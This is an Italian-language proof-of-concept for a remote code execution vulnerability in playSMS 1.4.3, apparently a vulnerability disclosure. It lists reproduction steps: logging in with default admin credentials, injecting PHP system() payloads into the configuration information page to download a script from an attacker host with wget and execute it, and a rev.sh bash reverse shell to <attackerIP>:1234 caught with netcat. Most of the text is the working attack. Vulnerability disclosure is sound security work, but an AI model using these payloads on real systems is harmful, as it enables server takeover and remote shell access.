CVE-playsms

C'è una vulnerabilità in playsms 1.4.3 che consente a potenziali aggressori di eseguire codice in remoto.

come riprodurre l'RCE (shell):

https://playsms.org/

• docker pull playsms/playsms:1.4.3
• docker run -d -p 80:80 playsms/playsms
• effettuare il login con admin:admin
• http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• ospitare il file bash malevolo sulla macchina attaccante
• scaricare il file malevolo usando wget sulla macchina
• inserire <?php system("/usr/bin/wget http://<attackerIP>/rev.sh"); echo "done" ?>
• salvare le informazioni (scompariranno dalla casella di input ma funzioneranno comunque)
• http://127.0.0.1/index.php?app=main&inc=core_welcome
• ricaricare la pagina http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• rendere eseguibile ed eseguire lo script shell - <?php system("chmod +x rev.sh && ./rev.sh") ?>)
• salvare e visitare * http://127.0.0.1/index.php?app=main&inc=core_welcome per ottenere l'esecuzione del codice
• eseguire un handler netcat locale per catturare la shell remota

rev.sh

#!/usr/bin/bash
bash -c "bash -i >& /dev/tcp/<attackerIP>/1234 0>&1"